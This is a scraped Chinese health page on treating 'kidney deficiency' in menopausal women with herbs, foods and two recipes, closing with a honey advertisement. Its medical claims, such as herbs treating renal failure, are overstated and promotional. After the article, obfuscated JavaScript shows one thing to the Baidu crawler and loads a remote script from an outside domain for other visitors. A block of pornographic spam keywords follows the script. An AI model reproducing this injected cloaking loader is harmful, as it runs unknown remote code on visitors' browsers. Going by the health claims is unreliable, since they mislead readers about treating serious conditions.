<label id="xjztt"></label>
<rt id="xjztt"></rt>
  • <thead id="xjztt"></thead>
    <label id="xjztt"></label>

      <label id="xjztt"></label>
      <rt id="xjztt"></rt>

      <span id="xjztt"></span>
      當前位置:首頁 > 減肥 > 減肥方法 > 正文

      更年期女性腎虛怎么辦

      2017-03-12 14:05:41  來源:360常識網   熱度:
      導語:腎虛是所有女性關注的問題。所謂更年期,無需更多解釋,是連上帝都無法改變的女性生理過渡。一般女性在50歲左右出現更年期,而“腎虛”女性則早早表現出閉經、性欲低下、煩躁、焦慮、多疑等更年期癥狀。

      那么更年期女性吃哪些食物可以補腎呢?

      當歸:用于血虛血瘀所致的月經不調,痛經,產后腹痛。當歸對子宮的作用取決于子宮的機能狀態而呈雙向調節作用。還用于慢性腎功能衰竭所致的腎性貧血。

      阿膠:用于血虛經少,沖任不固的崩漏及妊娠下血。含多種氨基酸,治療貧血優于鐵劑,改善體內鈣平衡。

      龍眼干:用于肝腎虧虛所致的血虛失眠,心慌等更年期癥狀。

      黑豆:用于腎虧月經稀少,慢性腎病蛋白尿。

      百合:養陰清心安神,治療更年期綜合征。

      何首烏:補肝腎,益精血,用于更年期陰虧火旺,頭暈眼花,虛煩失眠,性情急躁。還可用于慢性腎功能衰竭。

      海參:滋陰潤燥,用于經前緊張綜合征及更年期綜合征。

      黑芝麻:補肝腎,益精血,用于精虧血少的月經病。

      哪些食療可以補腎呢?

      杞地山藥粥:

      取生地黃20克,山藥、杞果各50克,大米100克。制法:將生地黃切碎,山藥搗碎,和杞果、大米共放鍋內加水適量煮粥,代早餐食。每日1次。此法適用于偏腎陰虛的腎虛腰痛。

      茴香燉煮腎:

      取小茴香20克,豬腰1對,蔥、姜、鹽、酒各適量。制法:先將豬腰(即豬腎)洗凈后,在凹處剖一口子,將茴香、鹽裝入豬腰剖口內。用白線縫合剖口后,放入鍋內,加蔥、姜、酒、清水適量,用文火燉熟后食用。此法適用于偏腎陽虛的腎虛腰痛。

      專家指出:補腎最好通過日常飲食來調理。傾城蜜,純天然無添加,它精采月見草、益母草、枸杞、五味子等花蜜。益母草蜜—補腎潤腸、月見草蜜—益腎固精、五味子蜜—滋腎收汗、枸杞蜜—明目潤肺,以上幾種蜜都是名貴中藥材,能夠有效幫助更年期女性調理腎虛的癥狀!

      轉載申明:360常識網,歡迎分享,轉載請注明出處!
      ?
      if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
      主站蜘蛛池模板: 亚洲欧美乱综合图片区小说区| 久久综合狠狠色综合伊人| 色综合天天综合网国产国产人| 亚洲伊人久久综合影院| 国产精品 综合 第五页| 亚洲av综合avav中文| 99久久亚洲综合精品网站| 伊人色综合久久天天人手人婷| 综合欧美亚洲日本| 久久婷婷色综合一区二区| 天天综合网天天综合色| 亚洲综合精品香蕉久久网97| 亚洲色欲久久久综合网东京热| 亚洲AV综合色区无码一区| 亚洲欧美综合在线天堂| 激情五月综合网| 一本色道久久综合| 久久久久久久综合日本亚洲| 精品综合久久久久久97超人| 天天久久狠狠色综合| 在线综合亚洲中文精品| 亚洲国产成人久久综合碰碰动漫3d | 美国十次狠狠色综合| 久久91精品综合国产首页| 激情综合色综合啪啪开心| 高清欧美色欧美综合网站| 99精品国产综合久久久久五月天| 91欧美一区二区三区综合在线| 国产欧美日韩综合一区在线播放| 六月婷婷缴清综合在线| 伊人色综合久久天天人守人婷| 国产综合一区二区| 欧美日韩亚洲综合在线| 色噜噜狠狠色综合久| 久久综合九色欧美综合狠狠| 久久狠狠一本精品综合网| 色爱区综合激情五月综合色| 色欲色香天天天综合网站免费| 狠狠亚洲婷婷综合色香五月排名 | 久久婷婷色综合一区二区| 老色鬼久久亚洲AV综合|